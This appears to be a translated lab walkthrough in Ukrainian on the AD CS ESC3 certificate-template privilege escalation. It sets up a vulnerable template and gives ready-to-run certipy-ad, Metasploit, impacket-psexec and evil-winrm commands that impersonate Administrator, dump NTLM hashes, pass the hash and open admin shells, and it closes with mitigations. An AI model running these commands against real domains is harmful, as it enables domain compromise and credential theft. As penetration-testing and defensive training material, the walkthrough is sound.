SYS_SEARCH v1.0.4 [ESC] TO ABORT
>>
>> LOC: ARCHIVE_ROOT/REDTEAM/ad-cs_esc3_enrollment_agent_template // SEC_LEVEL: 01 // STATUS: CONFIDENTIAL

>

#ADCS#Privilege Escalation#Active Directory
FILE_INFO_DECRYPTED
AUTHOR: MD Aslam
SOURCE: [ACCESS_ORIGINAL_NODE]
TRANSLATE: @exploit.com.ua

Active Directory Certificate Services (AD CS) часто стає ціллю для атак типу ESC3, що базуються на некоректних налаштуваннях шаблонів сертифікатів. Це призводить до серйозних вразливостей, таких як експлуатація сертифікатів AD CS та підвищення привілеїв. Зокрема, ESC3 становить значну загрозу при поєднанні з неправильно конфігурованим шаблоном Certificate Request Agent (CRA). Цей недолік дозволяє зловмисникам запитувати сертифікати для високого привілейованих користувачів, наприклад адміністраторів домену, що забезпечує несанкціонований доступ і створює умови для подальшої компрометації.

У другій частині цієї серії ми розглянули загальний огляд служб сертифікації Active Directory та продемонстрували техніку ескалації ESC2. У цьому дописі ми детально розберемо AD CS ESC3 Enrollment Agent Template - метод підвищення привілеїв через зловживання некоректно налаштованим EKU Certificate Request Agent (також відомим як «Агент реєстрації»), який дозволяє користувачеві запитувати сертифікат від імені іншої особи, зокрема адміністратора домену.

Зміст

  • Що таке ESC3?
  • Ризики AD CS та шаблонів сертифікатів
  • EKU Агента запиту сертифіката (Certificate Request Agent)
  • Попередні вимоги (Prerequisites)
  • Налаштування лабораторії
  • Пошук вразливостей та експлуатація (Enumeration and exploitation)
  • ESC3 Attack Using Certipy
  • Post Exploitation
  • Lateral Movement & Privilege Escalation using impacket-psexec
  • ESC3 Attack Using Metasploit
  • Lateral Movement & Privilege Escalation using Evil-Winrm
  • Mitigation

What is ESC3?

ESC3 з використанням Агента запиту сертифіката (Certificate Request Agent) дозволяє визначеним користувачам запитувати сертифікати від імені інших користувачів, комп’ютерів або служб у корпоративному середовищі інфраструктури відкритих ключів (PKI). Це зазвичай застосовується у сценаріях, де кінцеві користувачі не мають прямого доступу або достатніх прав для самостійного запиту сертифікатів.

Умови, необхідні для реалізації атаки ESC3:

  • Шаблон сертифіката дозволяє функцію «реєстрації від імені» (enrollment on behalf of).
  • Атакуючий володіє дійсним сертифікатом Агента запиту сертифіката (Certificate Request Agent).
  • Атакуючий має права на реєстрацію (Enroll) у вразливому шаблоні сертифіката.
  • Відсутні суворі обмеження щодо того, чию особу можна імітувати.
  • Надто широке коло осіб, яким призначено роль Агента запиту сертифіката.

Ризики AD CS та шаблонів сертифікатів

Служби сертифікації Active Directory (AD CS) та шаблони сертифікатів несуть значні ризики у разі некоректної конфігурації. Це може призвести до підвищення привілеїв, горизонтального переміщення або повної компрометації домену. Атаки на сертифікати, такі як ESC3, дозволяють зловмисникам маніпулювати шаблонами для видачі сертифікатів з метою імітації привілейованих користувачів, що фактично обходить автентифікацію та забезпечує прихований тривалий доступ до системи.

AD CS видає сертифікати в Active Directory на основі шаблонів, які визначають права доступу та призначення. Недостатньо захищені шаблони стають основними цілями для таких атак, як:

  • ESC1: зловживання небезпечними дозволами, такими як ENROLL та Client Authentication.
  • ESC2: експлуатація некоректно налаштованих політик видачі сертифікатів.
  • ESC3: використання шаблону Certificate Request Agent для імітації привілейованих облікових записів.

Без суворого контролю AD CS може перетворитися на потужний інструмент для горизонтального переміщення та ескалації прав у домені.

Нижче наведено умови вразливості для шаблонів сертифікатів ESC1, ESC2 та ESC3:

У випадку з ESC3 ми детально розглянемо, як зловмисник може зловживати некоректно налаштованим шаблоном Certificate Request Agent для запиту сертифікатів від імені привілейованих користувачів. Це дозволяє здійснювати імітацію (impersonation) та отримувати несанкціонований доступ через автентифікацію на основі сертифікатів.

EKU Агента запиту сертифіката (Certificate Request Agent)

Certificate Request Agent - це делегований користувач або служба, що має повноваження запитувати цифрові сертифікати від імені інших користувачів або пристроїв у середовищі Active Directory, зазвичай через спеціальний шаблон сертифіката.

У службах сертифікації Active Directory (AD CS) Certificate Request Agent є довіреним обліковим записом (зазвичай це користувач або сервісний акаунт), який уповноважений отримувати сертифікати для інших суб’єктів.

Це частина моделі делегованої реєстрації, яка найчастіше використовується в умовах, де:

  • Кінцеві користувачі не можуть самостійно запитувати сертифікати (наприклад, для смарт-карт).
  • Централізована система або служба підтримки (helpdesk) видає сертифікати користувачам.
  • Системи автоматизації керують наданням ідентифікаційних даних.
How it works:

Примітка: розширене призначення ключів (EKU) - це поле сертифіката, яке визначає цілі його використання, як-от шифрування електронної пошти, автентифікація користувача або безпечний вебдоступ. Кожне призначення ідентифікується унікальним об’єктним ідентифікатором (OID).

Ризик безпеки при зловживанні:

EKU Агента запиту сертифіката, попри свою користь для делегованої реєстрації, становить серйозну загрозу безпеці, якщо шаблон сертифіката містить це призначення без вимоги схвалення адміністратором, є доступним для непривілейованих користувачів і не має обмежень щодо ідентифікаторів, від імені яких можна запитувати сертифікати.

Попередні вимоги (Prerequisite)

  • Windows Server 2019 як контролер домену Active Directory з підтримкою PKINIT.
  • Наявність налаштованих служб сертифікації Active Directory (AD CS) та центру сертифікації (CA) у домені.
  • Kali Linux із попередньо встановленим набором інструментів.
  • Інструментарій: Evil-WinRM, Impacket, certipy-ad, Metasploit.

Налаштування лабораторії

Почніть із запуску консолі шаблонів сертифікатів (Certificate Template Console):

Виконайте команду certtmpl.msc на контролері домену, після чого перейдіть у Certificate Templates - Manage.

Створення дубліката шаблону сертифіката

  • Прокрутіть список униз і знайдіть шаблон «Code Signing».
  • Натисніть на нього правою кнопкою миші - Виберіть Duplicate Template.

Налаштування нового шаблону

З’явиться нове вікно з кількома вкладками, пройдіть по них одну за одною.

Вкладка General:

  • Встановіть Template display name на: ESC3
  • (Опціонально) Налаштуйте Validity Period - стандартного значення у 1 рік зазвичай достатньо.

Ця назва відображатиметься під час запиту сертифіката

Налаштування вкладки Subject Name

  • Оберіть: Build from this Active Directory information

Цей параметр не дозволяє зловмисникам вказувати власну ідентичність (наприклад, CN=Administrator)

Налаштування вкладки Security

  • Натисніть Add → Введіть Domain Users → Натисніть OK
  • Виберіть Domain Users
  • Поставте галочку навпроти → Enroll

Налаштування вкладки Extensions

  • Перейдіть на вкладку Extensions
  • Виберіть Application Policies → Натисніть Edit

У вікні редагування:
  • Виберіть: Code Signing → Натисніть Remove

  • Натисніть Add, після чого виберіть Certificate Request Agent
  • Натисніть OK

Підтвердження видачі (Issuance Requirements)

Поверніться до вікна Центру сертифікації (certsrv.msc). Натисніть правою кнопкою миші на Certificate Templates → Виберіть New → Certificate Template to Issue.

Знайдіть вразливий шаблон у списку та виберіть його; у нашому випадку ми створили його під назвою ESC3.

  • Натисніть OK, щоб опублікувати його.

Збереження шаблону

  • Натисніть OK, щоб зберегти та закрити

Тепер ми бачимо, що наш шаблон створено!

Пошук вразливостей та експлуатація (Enumeration & Exploitation)

Атака ESC3 за допомогою Certipy

  • Пошук вразливих шаблонів

Використовуйте Certipy з машини атакувальника для перерахунку конфігурації AD CS та пошуку вразливих шаблонів, вказавши у цьому випадку користувача raj.

Запускаємо команду:

certipy-ad find -u 'raj@ignite.local' -p Password@1 -dc-ip 192.168.1.48 -vulnerable -enabled

Ідентифікуйте у збереженому файлі 20250112131824_Certipy.txt шаблон сертифіката, який містить EKU Certificate Request Agent, дозволяє реєстрацію «від імені» (on-behalf-of) та є вразливим до експлуатації ESC3.

Використовуйте будь-який текстовий редактор для перегляду збереженого файлу; у цьому випадку ми використовуємо команду cat, щоб прочитати його вміст.

  • Запит сертифіката від імені адміністратора

Використовуйте вразливий шаблон, щоб запросити сертифікат для свого користувача (наприклад, raj).

certipy-ad req -u 'raj@ignite.local' -p 'Password@1' -dc-ip 192.168.1.48 -ca ignite-DC-CA -target 'dc.ignite.local' -template 'ESC3'

У разі успіху Certipy згенерує та збереже файл сертифіката .pfx; у нашому випадку це raj.pfx! Ми даємо команду Certipy увійти під обліковим записом raj, використати шаблон сертифіката «User» для запиту сертифіката від імені Administrator і зберегти отриманий сертифікат як raj.pfx.

certipy-ad req -u ‘raj@ignite.local’ -p 'Password@1' -dc-ip 192.168.1.48 -ca ignite-DC-CA -target ‘dc.ignite.local’ -template 'User' -on-behalf-of administrator -pfx raj.pfx

У разі успіху це дасть дійсний сертифікат для Administrator без необхідності знати його облікові дані.

Примітка: прапор -on-behalf-of administrator є ключовим кроком імітації; він вказує Центру сертифікації (CA) видати сертифікат для Administrator замість користувача, який робить запит.

Після автентифікації під іменем Administrator ви можете переходити до дампу NTLM-хешів із контролера домену.

Для цього запустіть наступну команду:

certipy-ad auth -pfx administrator.pfx

Післяексплуатація (Post Exploitation)

Горизонтальне переміщення та підвищення привілеїв за допомогою impacket-psexec

Після цього виконайте горизонтальне переміщення (lateral movement), використовуючи атаки Pass-the-Hash (PTH).

Для цього скористайтеся потужним набором інструментів Impacket, виконавши таку команду:

impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e294117b91a83bf38 administrator@192.168.1.48

Це дозволяє отримувати доступ до ресурсів на інших системах без необхідності знати справжній пароль - достатньо лише хешу.

Атака ESC3 за допомогою Metasploit

Використовуйте модуль LDAP у Metasploit для пошуку вразливих шаблонів AD CS (таких як ESC3); якщо імітація (impersonation) можлива, експлуатуйте її за допомогою модуля icpr_cert, який запитує сертифікат через RPC і зберігає файл .pfx для подальшої автентифікації.

У цьому випадку сервер AD CS видав сертифікат для raj@ignite.local, збережений як .pfx за шляхом /root/.msf4/loot/…, готовий для автентифікації на основі PKINIT.

Завантаження модуля запиту сертифіката
use auxiliary/admin/dcerpc/icpr_cert
Налаштування цілі та параметрів
set RHOSTS 192.168.1.48
set CA ignite-DC-CA
set CERT_TEMPLATE ESC3
set SMBDomain ignite.local
set SMBPass Password@1
set SMBUser raj
run

Ми можемо переконатися, що файл .pfx є дійсним і збереженим локально; тепер його можна використовувати для автентифікації як raj або для імітації іншого користувача, залежно від дозволів шаблону.

У цьому випадку ми переглянули вміст директорії loot і для зручності перейменували отриманий сертифікат на administrator.pfx.

Ми можемо повторно використати модуль Metasploit admin/dcerpc/icpr_cert, щоб імітувати обліковий запис Administrator та отримати дійсний сертифікат .pfx, виданий на його ім’я.

Завдяки налаштуванню ON_BEHALF_OF користувач із низькими привілеями може запросити сертифікат від імені іншого користувача - у цьому випадку Administrator.

Примітка: це працює лише за умови, якщо шаблон сертифіката це дозволяє (SubjectAltName від запитувача та відсутність обмежень Manager Approval або ENROLLEE_SUPPLIES_SUBJECT).

Ми обрали шаблон сертифіката «User», оскільки він, імовірно, доступний для реєстрації поточним користувачем.

Завантаження модуля запиту сертифіката
use auxiliary/admin/dcerpc/icpr_cert
set ON_BEHALF_OF Administrator
set PFX /root/.msf4/loot/administrator
set CERT_TEMPLATE User
run

Ми успішно отримали сертифікат як Administrator, підтвердивши вразливість шаблону до ESC3. Отриманий файл .pfx тепер слугує приватним ключем та сертифікатом адміністратора, дозволяючи виконувати автентифікацію Kerberos від імені цього користувача за допомогою Certipy або аналогічних інструментів.

У цьому випадку ми використовуємо файл .pfx для автентифікації як Administrator та отримання Kerberos TGT через модуль Metasploit, який згодом можна буде використати для атак Pass-the-Ticket (PTT).

Запуск Metasploit: msfconsole

Завантаження модуля:
use auxiliary/admin/kerberos/get_ticket
set action GET_HASH
set cert_file /root/.msf4/loot/20250112133551_default_192.168.1.48_windows.ad.cs_685006.pfx
set rhosts 192.168.1.48
run

У разі успіху буде отримано (дамп) NTLM-хеш.

Горизонтальне переміщення та підвищення привілеїв за допомогою Evil-Winrm

Використовуйте Evil-WinRM для отримання оболонки (shell) від імені Administrator за допомогою автентифікації на основі сертифіката. Запустіть його наступною командою:

evil-winrm -i 192.168.1.48 -u administrator -H 32196b56ffe6f45e294117b91a83bf38

Заходи безпеки

  • Обмеження використання EKU Certificate Request Agent → Призначайте його лише спеціальним шаблонам агентів, якими користується довірений персонал PKI.
  • Вимога схвалення менеджером сертифікації → Переконайтеся, що всі шаблони з EKU агента потребують ручного підтвердження перед видачею сертифіката.
  • Лімітування прав на реєстрацію → Надавайте права Enroll/Autoenroll лише перевіреним користувачам або групам, а не групі Domain Users.
  • Аудит існуючих шаблонів на ризики EKU → Використовуйте інструменти на кшталт Certipy для виявлення шаблонів із ідентифікатором 1.3.6.1.4.1.311.20.2.1.
  • Моніторинг зловживань та імітації → Логуйте та налаштуйте сповіщення для Event IDs 4886 (запит) і 4887 (видано); відстежуйте активність «від імені» (on-behalf-of).
  • Зміцнення інфраструктури CA → Видаліть невикористовувані ролі (наприклад, Web Enrollment), встановлюйте патчі та ізолюйте сервери CA за допомогою суворих ACL і мережевого контролю.